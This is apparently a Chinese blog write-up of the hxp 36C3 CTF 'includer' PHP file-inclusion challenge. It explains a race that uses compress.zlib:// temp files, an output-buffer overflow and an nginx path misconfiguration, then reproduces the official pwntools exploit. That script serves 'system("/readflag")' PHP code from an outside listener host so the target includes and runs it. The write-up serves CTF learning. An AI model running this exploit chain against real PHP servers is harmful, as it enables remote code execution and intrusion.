WEB安全--文件上传漏洞--36C3 CTF includer bypass

php 复制代码
<?php
declare(strict_types=1);

$rand_dir = 'files/'.bin2hex(random_bytes(32));
mkdir($rand_dir) || die('mkdir');
putenv('TMPDIR='.__DIR__.'/'.$rand_dir) || die('putenv');
echo 'Hello '.$_POST['name'].' your sandbox: '.$rand_dir."\n";

try {
    if (stripos(file_get_contents($_POST['file']), '<?') === false) {
        include_once($_POST['file']);
    }
}
finally {
    system('rm -rf '.escapeshellarg($rand_dir));
}

文件包含位置:include_once($_POST['file']);

我们的目的是上传php文件让该函数包含执行其中的php代码。

不过可以看到有重重阻碍:

$rand_dir:生成临时文件目录

stripos(file_get_contents($_POST['file']), '<?'):检测文件中是否包含 PHP 代码的开头标签<?

如果我们想上传php文件,并且执行,就得先思考如何绕过<?的检测:

这里可以使用一直上传大量数据的垃圾文件与检测后端建立连接,然后在file_get_contents()识别垃圾文件内容时认为是无害的这个时候上传我们的<?php?>内容的文件,也就是说tmp文件需要在这两种文件之间疯狂切换。

compress.zlib://

流封装器(Stream Wrapper),用于直接对文件进行 Zlib 压缩或解压缩 读写操作。

不过了解了php底层对这个功能的描述后,发现我们可以用它创建包含任意内容的临时文件:

cs 复制代码
PHPAPI int _php_stream_make_seekable(php_stream *origstream, php_stream **newstream, int flags STREAMS_DC)
{
    if (newstream == NULL) {
        return PHP_STREAM_FAILED;
    }
    *newstream = NULL;

    if (((flags & PHP_STREAM_FORCE_CONVERSION) == 0) && origstream->ops->seek != NULL) {
        *newstream = origstream;
        return PHP_STREAM_UNCHANGED;
    }

    /* 创建临时文件并将数据流存入其中 */

    if (flags & PHP_STREAM_PREFER_STDIO) {
        *newstream = php_stream_fopen_tmpfile();
    } else {
        *newstream = php_stream_temp_new();
    }
  // ... 

现在我们能够上传垃圾临时文件了,假如我们上传成功了,那我们去哪得到文件文件路径呢?

这就涉及到利用大量name参数导致PHP output buffer溢出

python 复制代码
name={}&file=compress.zlib://http://kaibro.tw:5487'''.format("a"*8050).replace("\n","\r\n")

最后有了路径我们还得通过NGINX配置错误获得临时文件名

python 复制代码
.well-known../files/sandbox/

通过访问临时文件位置执行文件包含漏洞

所以整个流程总结如下:

1、利用compress.zlip://http:// 来上传垃圾文件,并保持HTTP长链接竞争保存我们的临时文件

2、利用超长name溢出 output buffer 得到sandbox路径

3、利用NGINX配置错误获取tmp文件文件名

4、发送另一个请求包含我们的tmp文件,此时并没有PHP代码

5、绕过stripos(file_get_contents($_POST['file']), '<?')检测后,发送PHP代码,include_once()包含PHP代码执行

官方解析:

hxp 36C3 CTF

官方payload:

python 复制代码
from pwn import *
import requests
import re
import threading
import time

for gg in range(100):

    r = remote("78.47.165.85", 8004)
    l = listen(5487)

    payload = '''POST / HTTP/1.1
Host: 78.47.165.85:8004
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0
Content-Length: 8098
Content-Type: application/x-www-form-urlencoded
Connection: close
Upgrade-Insecure-Requests: 1

name={}&file=compress.zlib://http://kaibro.tw:5487'''.format("a"*8050).replace("\n","\r\n")


    r.send(payload)
    r.recvuntil("your sandbox: ")
    dirname = r.recv(70)

    print("[DEBUG]:" + dirname)

    # send trash
    c = l.wait_for_connection()
    resp = '''HTTP/1.1 200 OK
Date: Sun, 29 Dec 2019 05:22:47 GMT
Server: Apache/2.4.18 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 534
Content-Type: text/html; charset=UTF-8

AAA
BBB'''.replace("\n","\r\n")
    c.send(resp)


    # get filename
    r2 = requests.get("http://78.47.165.85:8004/.well-known../"+ dirname + "/")
    tmpname = "php" + re.findall(">php(.*)<\/a",r2.text)[0]
    print("[DEBUG]:" + tmpname)

    def job():
        time.sleep(0.26)
        phpcode = 'wtf<?php system("/readflag");?>';
        c.send(phpcode)

    t = threading.Thread(target = job)
    t.start()

    # file_get_contents and include tmp file
    exp_file = dirname + "/" + tmpname
    print("[DEBUG]:"+exp_file)
    r3 = requests.post("http://78.47.165.85:8004/", data={'file':exp_file})
    print(r3.status_code,r3.text)
    if "wtf" in r3.text:
        break

    t.join()
    r.close()
    l.close()
    #r.interactive()
相关推荐
带电的小王2 分钟前
sherpa-ncnn:Linux(x86/ARM32/ARM64)构建sherpa-ncnn --语音转文本大模型
linux·语音识别·实时音视频·sherpa-ncnn
沧浪之水!16 分钟前
【Linux网络】:套接字之UDP
linux·网络·udp
BranH18 分钟前
Linux系统中命令设定临时IP
linux·运维·服务器
迷路的小绅士26 分钟前
常见网络安全攻击类型深度剖析(三):DDoS攻击——分类、攻击机制及企业级防御策略
网络·web安全·ddos
极小狐29 分钟前
极狐GitLab 项目功能和权限解读
运维·git·安全·gitlab·极狐gitlab
秋风起,再归来~36 分钟前
【Linux庖丁解牛】—进程优先级!
linux·运维·服务器
cosX+sinY1 小时前
ubuntu 20.04 编译运行lio-sam,并保存为pcd
linux·ubuntu·机器人
Lary_Rock2 小时前
Android 编译问题 prebuilts/clang/host/linux-x86
android·linux·运维
熬夜学编程的小王2 小时前
【Linux篇】理解信号:如何通过信号让程序听从操作系统的指令
linux·信号产生·软件条件产生信号
国科安芯2 小时前
面向高性能运动控制的MCU:架构创新、算法优化与应用分析
单片机·嵌入式硬件·安全·架构·机器人·汽车·risc-v